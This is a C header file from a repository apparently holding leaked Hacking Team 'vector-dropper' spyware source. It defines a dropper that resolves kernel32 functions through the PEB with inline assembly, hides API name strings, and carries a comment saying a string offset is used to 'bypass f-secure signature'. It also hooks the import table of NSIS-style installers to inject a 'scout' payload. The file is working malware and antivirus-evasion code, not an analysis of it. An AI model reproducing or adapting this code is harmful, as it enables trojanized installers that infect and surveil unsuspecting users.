hackedteam/vector-dropper

View on GitHub
RCSDropper/DropperCode.h

Summary

Maintainability
Test Coverage
#ifdef WIN32
#include <Windows.h>
#else
#include "win32types.h"
#endif

#ifndef _DROPPER_COMMON
#define _DROPPER_COMMON

#pragma optimize( "", off ) // *** Disable all optimizations - we need code "as is"!
#pragma code_seg(".extcd")  // *** Lets put all functions in a separated code segment

#include "DropperHeader.h"


#define END_MARKER(ptr) do { memcpy(ptr, "<E>\0", 4); ptr += 4; } while(0)
#define END_OF(x) #x ## "_End"
#define FUNCTION_END_DECL(x) void x ## _End()
#define FUNCTION_END(x) FUNCTION_END_DECL(x) { char * y = END_OF(x); return; }
#define S_SWAP(a,b) do { unsigned char t = S[a]; S[a] = S[b]; S[b] = t; } while(0);


typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE, LPCSTR);
typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);
typedef HMODULE (*GETMODULEHANDLE)(LPCTSTR);
typedef BOOL (WINAPI *EXTRACTFILE)(PCHAR, DWORD, DWORD, DataSectionHeader*);
typedef ULONG (WINAPI *MAIN)(HINSTANCE, HINSTANCE, LPSTR, ULONG);
typedef NTSTATUS (WINAPI *ZWTERMINATEPROCESS)(HANDLE, ULONG);
typedef DWORD (WINAPI *GETSHORTPATHNAME)(LPSTR lpszLongPath, LPSTR lpszShortPath, DWORD cchBuffer);
typedef BOOL (*SHGETFOLDERW)(HWND, LPWSTR, ULONG csidl, BOOL);
typedef DWORD (WINAPI *GETSHORTPATHNAMEW)(LPWSTR lpszLongPath, LPWSTR lpszShortPath, DWORD cchBuffer);
typedef HANDLE (WINAPI *CREATEFILEW)(LPWSTR lpFileName,
                                    DWORD dwDesiredAccess,
                                    DWORD dwShareMode,
                                    LPSECURITY_ATTRIBUTES lpSecurityAttributes,
                                    DWORD dwCreationDisposition,
                                    DWORD dwFlagsAndAttributes,
                                    HANDLE hTemplateFile);
typedef HANDLE (WINAPI *CREATEFILEA)(LPSTR lpFileName, 
                                     DWORD dwDesiredAccess, 
                                     DWORD dwShareMode, 
                                     LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
                                     DWORD dwCreationDisposition, 
                                     DWORD dwFlagsAndAttributes, 
                                     HANDLE hTemplateFile);
typedef BOOL (WINAPI *WRITEFILE)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
typedef BOOL (WINAPI *CLOSEHANDLE)(HANDLE hObject);
typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI *VIRTUALFREE)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
typedef BOOL (WINAPI *VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpOldProtect);
typedef DWORD (WINAPI *GETMODULEFILENAME)(HMODULE hModule, LPTSTR lpFilename, DWORD nSize);
typedef SIZE_T (WINAPI *VIRTUALQUERY)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
typedef HANDLE (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef VOID (WINAPI *SLEEP)(DWORD dwMilliseconds);
typedef VOID (WINAPI  *EXITPROCESS)(UINT uExitCode);
typedef LPSTR (WINAPI *GETCOMMANDLINEA)();
typedef LPWSTR (WINAPI *GETCOMMANDLINEW)();
typedef DWORD (WINAPI *GETENVIRONMENTVARIABLE)(LPCTSTR lpName, LPTSTR lpBuffer, DWORD nSize);
typedef BOOL (WINAPI *PATHREMOVEFILESPEC)(LPSTR pszPath);
typedef DWORD (WINAPI *GETFILEATTRIBUTESA) (LPCSTR lpFileName);
typedef BOOL (WINAPI *CREATEDIRECTORY)(LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
typedef DWORD (WINAPI *GETLASTERROR)(void);
typedef BOOL (WINAPI *SETCURRENTDIRECTORY)(LPCSTR lpPathName);
typedef BOOL (WINAPI *SETFILEATTRIBUTESA)(LPCTSTR lpFileName, DWORD dwFileAttributes);
typedef LPWSTR (*PATHADDBACKSLASHW)(LPWSTR lpszPath);
typedef BOOL (*PATHAPPENDW)(LPWSTR pszPath, LPWSTR pszMore);


typedef struct _MY_DATA
{
    LOADLIBRARY LoadLibraryA;
    GETPROCADDRESS GetProcAddress;
    GETMODULEHANDLE GetModuleHandleA;
    VIRTUALALLOC VirtualAlloc;
    VIRTUALFREE VirtualFree;
    GETMODULEFILENAME GetModuleFileNameA;
    VIRTUALPROTECT VirtualProtect;
    VIRTUALQUERY VirtualQuery;
    CREATETHREAD CreateThread;
    GETENVIRONMENTVARIABLE GetEnvironmentVariableA;
    PATHREMOVEFILESPEC PathRemoveFileSpecA;
    GETFILEATTRIBUTESA GetFileAttributesA;
    SETFILEATTRIBUTESA SetFileAttributesA;
    CREATEDIRECTORY CreateDirectoryA;
    GETLASTERROR GetLastError;
    SETCURRENTDIRECTORY SetCurrentDirectoryA;
    CREATEFILEA CreateFileA;
    CREATEFILEW CreateFileW;
    WRITEFILE WriteFile;
    CLOSEHANDLE CloseHandle;
    SHGETFOLDERW SHGetSpecialFolderPathW;
    GETSHORTPATHNAMEW GetShortPathNameW;
    PATHADDBACKSLASHW PathAddBackslashW;
    PATHAPPENDW PathAppendW;

    DataSectionHeader *header;
    PBYTE pScoutBuffer;
    ULONG pScoutSize;
} MY_DATA, *PMY_DATA;

int __stdcall DropperEntryPoint();
FUNCTION_END_DECL(DropperEntryPoint);

DWORD WINAPI CoreThreadProc(PMY_DATA pData);
FUNCTION_END_DECL(CoreThreadProc);

BOOL WINAPI DumpFile(CHAR * fileName, CHAR* fileData, DWORD dataSize, DWORD originalSize, PMY_DATA pData);
FUNCTION_END_DECL(DumpFile);

DWORD HookIAT(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData);
FUNCTION_END_DECL(HookIAT);

void ArcFour(const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData);
FUNCTION_END_DECL(ArcFour);

LPVOID WINAPI MemoryLoader(LPVOID pData);
FUNCTION_END_DECL(MemoryLoader);

LPSTR WINAPI GetCommandLineAHook();
FUNCTION_END_DECL(GetCommandLineAHook);

LPWSTR WINAPI GetCommandLineWHook();
FUNCTION_END_DECL(GetCommandLineWHook);

VOID WINAPI ExitProcessHook(UINT uExitCode);
FUNCTION_END_DECL(ExitProcessHook);

typedef DWORD (WINAPI * THREADPROC)(LPVOID lpParameter);
typedef BOOL (WINAPI * DUMPFILE)(PCHAR fileName, PCHAR fileData, DWORD fileSize, DWORD originalSize, PMY_DATA pData);
typedef void (*RC4_SKIP)(const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData);
typedef void (*HFF5)(PCHAR, DWORD, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef DWORD (*HOOKIAT)(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData);




// CRT DEI POVERI
__forceinline void _MEMSET_( void *_dst, int _val, size_t _sz )
{
    while ( _sz ) ((BYTE *)_dst)[--_sz] = _val;
}

__forceinline void _MEMCPY_( void *_dst, void *_src, size_t _sz )
{
    while ( _sz-- ) ((BYTE *)_dst)[_sz] = ((BYTE *)_src)[_sz];
}

__forceinline BOOL _MEMCMP_( void *_src1, void *_src2, size_t _sz )
{
    while ( _sz-- )
    {
        if ( ((BYTE *)_src1)[_sz] != ((BYTE *)_src2)[_sz] )
            return FALSE;
    }

    return TRUE;
}

__forceinline size_t _STRLEN_(char *_src)
{
    size_t count = 0;
    while( _src && *_src++ )
        count++;
    return count;
}

__forceinline size_t _STRLENW_(wchar_t *_src)
{    
    ULONG count = 0;
    while(_src && (*(PUSHORT)_src++ != 0x0000))
        count += 2;
    return count;
}

__forceinline void _TOUPPER_(char *s)
{
    for(; *s; s++)
        if(('a' <= *s) && (*s <= 'z'))
            *s = 'A' + (*s - 'a');
}

__forceinline  void _TOUPPER_CHAR(char *c)
{
    if((*c >= 'a') && (*c <= 'z'))
        *c = 'A' + (*c - 'a');
}

__forceinline void _TOLOWER_(char *s)
{
    for(; *s; s++)
        if(('A' <= *s) && (*s <= 'Z'))
            *s = 'a' + (*s - 'A');
}

__forceinline int _STRCMP_(char *_src1, char *_src2)
{
    size_t sz = _STRLEN_(_src1);

    if ( _STRLEN_(_src1) != _STRLEN_(_src2) )
        return 1;

    return _MEMCMP_(_src1, _src2, sz ) ? 0 :  1;
}

__forceinline int _STRCMPI_(char *_src1, char *_src2)
{
    char* s1 = _src1;
    char* s2 = _src2;

    while (*s1 && *s2)
    {
        char a = *s1;
        char b = *s2;

        _TOUPPER_CHAR(&a);
        _TOUPPER_CHAR(&b);

        if (a != b)
            return 1;

        s1++;
        s2++;
    }

    return 0;
}

__forceinline char* _STRRCHR_(char const *s, int c)
{
    char* rtnval = 0;

    do {
        if (*s == c)
            rtnval = (char*) s;
    } while (*s++);
    return (rtnval);
}

__forceinline void _STRCAT_(char*_src1, char *_src2)
{
    char* ptr = _src1 + _STRLEN_(_src1);
    _MEMCPY_(ptr, _src2, _STRLEN_(_src2));
    ptr += _STRLEN_(_src2);
    *ptr = '\0';
}

__forceinline void _ZEROMEM_(char* mem, int size)
{
    for (int i = 0; i < size; i++)
        mem[i] = 0;
}


__forceinline GETPROCADDRESS resolveGetProcAddress()
{
    PEB_LIST_ENTRY* head;
    DWORD **pPEB;
    DWORD *Ldr;
    
    char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    char strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };

    __asm {
        mov eax,30h
        mov eax,DWORD PTR fs:[eax]
        add eax, 08h
        mov ss:[pPEB], eax
    }
    
    Ldr = *(pPEB + 1);
    head = (PEB_LIST_ENTRY *) *(Ldr + 3);
    
    PEB_LIST_ENTRY* entry = head;
    do {        
        DWORD imageBase = entry->ImageBase;
        if (imageBase == NULL)
            goto NEXT_ENTRY;
        
        IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase;
        IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew);
        
        // *** check if we have an export table
        if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
            goto NEXT_ENTRY;
        
        // *** get EXPORT table
        IMAGE_EXPORT_DIRECTORY* exportDirectory = 
            (IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        
        // *** check for valid module name
        char* moduleName = (char*)(imageBase + exportDirectory->Name);
        if (moduleName == NULL)
            goto NEXT_ENTRY;
        
        if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature
        {
            if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY;
            
            DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions);
            DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames);            
            WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals);
            
            // *** get pointers to LoadLibraryA and GetProcAddress entry points
            for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++)
            {
                if (Functions[x] == 0)
                    continue;
                
                for (WORD y = 0; y < exportDirectory->NumberOfNames; y++)
                {
                    if (NameOrds[y] == x)
                    {
                        char *name = (char *) (imageBase + Names[y]);
                        if (name == NULL)
                            continue;
                        
                        if (!_STRCMPI_(strGetProcAddress, name))
                            return (GETPROCADDRESS)(imageBase + Functions[x]);
                        break;
                    }
                }
            }
        }
NEXT_ENTRY:
        entry = (PEB_LIST_ENTRY *) entry->InLoadNext;
    
    } while (entry != head);

    return 0;
}

__forceinline LOADLIBRARY resolveLoadLibrary()
{
    PEB_LIST_ENTRY* head;
    DWORD **pPEB;
    DWORD *Ldr;
    
    char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    char strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 };

    __asm {
        mov eax,30h
        mov eax,DWORD PTR fs:[eax]
        add eax, 08h
        mov ss:[pPEB], eax
    }
    
    Ldr = *(pPEB + 1);
    head = (PEB_LIST_ENTRY *) *(Ldr + 3);
    
    PEB_LIST_ENTRY* entry = head;
    do {        
        DWORD imageBase = entry->ImageBase;
        if (imageBase == NULL)
            goto NEXT_ENTRY;
        
        IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase;
        IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew);
        
        // *** check if we have an export table
        if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL)
            goto NEXT_ENTRY;
        
        // *** get EXPORT table
        IMAGE_EXPORT_DIRECTORY* exportDirectory = 
            (IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        
        // *** check for valid module name
        char* moduleName = (char*)(imageBase + exportDirectory->Name);
        if (moduleName == NULL)
            goto NEXT_ENTRY;
        
        if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature
        {
            if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY;
            if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY;
            
            DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions);
            DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames);            
            WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals);
            
            // *** get pointers to LoadLibraryA and GetProcAddress entry points
            for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++)
            {
                if (Functions[x] == 0)
                    continue;
                
                for (WORD y = 0; y < exportDirectory->NumberOfNames; y++)
                {
                    if (NameOrds[y] == x)
                    {
                        char *name = (char *) (imageBase + Names[y]);
                        if (name == NULL)
                            continue;
                        
                        if (!_STRCMPI_(strLoadLibraryA, name))
                            return (LOADLIBRARY)(imageBase + Functions[x]);
                        break;
                    }
                }
            }
        }
NEXT_ENTRY:
        entry = (PEB_LIST_ENTRY *) entry->InLoadNext;
    
    } while (entry != head);

    return 0;
}


__forceinline VOID FixInstallers(PMY_DATA pData)
{
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS32 pNtHeaders;
    PIMAGE_SECTION_HEADER pSectionHeader;
    LPVOID pBaseAddress = pData->GetModuleHandleA(NULL);
    
    CHAR strNData[] = { '.', 'n', 'd', 'a', 't', 'a', 0x0};
    CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    CHAR strGetCommandLineA[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'A', 0x0 };
    CHAR strGetCommandLineW[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'W', 0x0 };

    pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
    pNtHeaders = (PIMAGE_NT_HEADERS32) (((PBYTE)pDosHeader) + pDosHeader->e_lfanew);
    pSectionHeader = (PIMAGE_SECTION_HEADER) (pNtHeaders + 1);

    for (DWORD i=0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {        
        if (!_STRCMP_((PCHAR)pSectionHeader[i].Name, strNData))
        {
            ULONG uOldProtect;
            GETCOMMANDLINEA pfn_GetCommandLineAHook = (GETCOMMANDLINEA) ( ((PBYTE)pData->header) + pData->header->functions.GetCommandLineAHook.offset);
            GETCOMMANDLINEW pfn_GetCommandLineWHook = (GETCOMMANDLINEW) ( ((PBYTE)pData->header) + pData->header->functions.GetCommandLineWHook.offset);

            pData->VirtualProtect(pfn_GetCommandLineAHook, pData->header->functions.GetCommandLineAHook.size, PAGE_EXECUTE_READWRITE, &uOldProtect);
            pData->VirtualProtect(pfn_GetCommandLineWHook, pData->header->functions.GetCommandLineWHook.size, PAGE_EXECUTE_READWRITE, &uOldProtect);

            HOOKIAT pfn_HookIAT = (HOOKIAT) (((PCHAR)pData->header) + pData->header->functions.hookIAT.offset);

            pfn_HookIAT(strKernel32, 
                strGetCommandLineA, 
                (DWORD)pfn_GetCommandLineAHook,
                pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
                (DWORD)pBaseAddress,
                pData);

            pfn_HookIAT(strKernel32, 
                strGetCommandLineW, 
                (DWORD)pfn_GetCommandLineWHook,
                pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
                (DWORD)pBaseAddress,
                pData);
        }
    }
}


#pragma code_seg()
#pragma optimize( "", on )

#endif // _DROPPER_COMMON